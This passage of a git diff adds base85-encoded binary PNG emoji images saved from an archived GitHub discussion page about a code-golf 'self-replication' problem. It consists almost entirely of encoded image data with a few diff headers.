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 literal 0 HcmV?d00001 diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 S39%yp0000}sP)qc!vaE-#a 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 